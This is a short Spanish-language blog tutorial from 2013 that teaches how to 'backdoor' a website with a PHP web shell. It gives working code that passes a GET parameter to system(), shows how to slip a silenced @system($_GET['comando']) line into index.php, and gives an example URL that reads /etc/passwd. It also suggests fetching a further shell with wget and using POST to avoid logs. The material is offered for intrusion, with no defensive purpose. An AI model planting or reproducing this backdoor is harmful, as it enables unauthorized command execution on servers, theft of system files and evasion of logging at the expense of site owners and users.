Creando una mini Shell en PHP

By marzo 19, 2013Tutoriales

Hola amigos, hoy explicaré como backdorizar una web. Es decir como crear un archivo que ejecute comandos, ya sea en linux o windows (Depende que servidor sea).
Esto es más seguro ya que solo deja 1 log y si lo haces con metodo POST no deja logs. El código sería así:

<form method="GET" action="">
<input type="text" name="comando">
<input type="submit" value="enviar">
</form>


<?php
if(isset($_GET['comando'])){
$var = system($_GET['comando']);
echo $var;
}
?>

En el formulario ponemos que comando ejecutar, asi tenemos control sobre el servidor y podemos ejecutar cualquier comando, si te da la gana usas wget (LINUX) y subes una shell y la borras, un claro ejemplo de como funciona seria este:

Explicaré un poco la función por la que nuestro Mini Backdoor trabaja:

System: Es una función que permite ejecutar comandos dentro de un servidor.

En la foto lo que hicé fue ejecutar el comando cat /etc/passwd y como pueden ver se ejecutó satisfactoriamente.

Otra cosa que podemos hacer es poner
$lol = @<a href="http://www.php.net/system">system</a>($_GET['comando']);

en algún archivo ejemplo index.php y llamar a la variable lol por url y ejecutar el comando un ejemplo seria servidor.com/index.php?comando=cat /etc/passwd
Espero les haya servido.

Saludos.

Leave a Reply